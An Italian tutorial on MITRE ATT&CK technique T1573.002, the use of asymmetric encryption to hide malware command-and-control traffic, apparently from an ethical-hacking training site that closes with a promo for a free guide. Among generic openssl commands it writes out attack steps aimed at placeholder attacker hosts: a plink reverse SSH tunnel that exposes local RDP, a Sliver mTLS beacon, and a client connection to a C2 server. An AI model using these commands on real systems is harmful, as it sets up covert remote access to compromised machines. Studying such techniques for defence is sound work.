Crittografia Asimmetrica nel C2: Encrypted Channel - Asymmetric Cryptography (T1573.002)

La crittografia asimmetrica rappresenta una delle tecniche più sofisticate per nascondere le comunicazioni tra malware e server di controllo. Questo metodo sfrutta algoritmi a chiave pubblica come RSA ed ElGamal per cifrare il traffico, rendendo estremamente complesso l'intercettamento e l'analisi dei comandi scambiati.

La tecnica si manifesta durante la fase di Command and Control (TA0011) della kill chain, quando gli attaccanti devono mantenere il controllo persistente sui sistemi compromessi. L'uso della crittografia asimmetrica garantisce che solo il destinatario legittimo possa decifrare i messaggi, grazie al sistema di chiavi pubbliche e private.

I numeri parlano chiaro: 11 gruppi APT documentati utilizzano questa tecnica, supportati da 73 famiglie di malware diverse. Le campagne rilevate sono 5, tra cui operazioni di spionaggio internazionale come Operation Wocao. La diffusione così ampia dimostra l'efficacia di questo approccio nel bypassare i controlli di sicurezza tradizionali.

Per comprendere come gli attaccanti implementano questa tecnica, iniziamo generando una coppia di chiavi RSA. Su Linux, il comando base è:

openssl genrsa -out private.pem 2048 openssl rsa -in private.pem -pubout -out public.pem

Una volta ottenute le chiavi, possiamo creare un tunnel cifrato con Plink, lo stesso strumento usato dai gruppi FIN6 e Cobalt Group. Il comando per stabilire un tunnel SSH reverse è:

plink.exe -R 8443:localhost:3389 -l user -pw password attacker-server.com

Questo comando reindirizza il traffico RDP locale attraverso un tunnel SSH cifrato verso il server dell'attaccante. Per automatizzare il processo in PowerShell, come fa POWERSTATS, possiamo usare:

$rsa = New-Object System.Security.Cryptography.RSACryptoServiceProvider(2048) $encrypted = $rsa.Encrypt([Text.Encoding]::UTF8.GetBytes($command), $false)

Gli attaccanti più sofisticati implementano certificati TLS personalizzati. Tool come Sliver e Mythic supportano nativamente mutual TLS, dove sia client che server verificano reciprocamente i certificati. La configurazione in Sliver richiede:

generate --mtls attacker.com --save beacon.exe

Per testare comunicazioni cifrate con OpenSSL direttamente:

openssl s_client -connect c2server.com:443 -cert client.crt -key client.key

Framework come Empire e Cobalt Strike offrono moduli pre-configurati per RSA. In Cobalt Strike, l'attivazione avviene modificando il profilo Malleable C2 con le direttive per HTTPS e certificati custom.

Vuoi diventare un Ethical Hacker ma non sai da dove iniziare?

Scarica la guida gratuita e segui il percorso corretto fin dal primo passo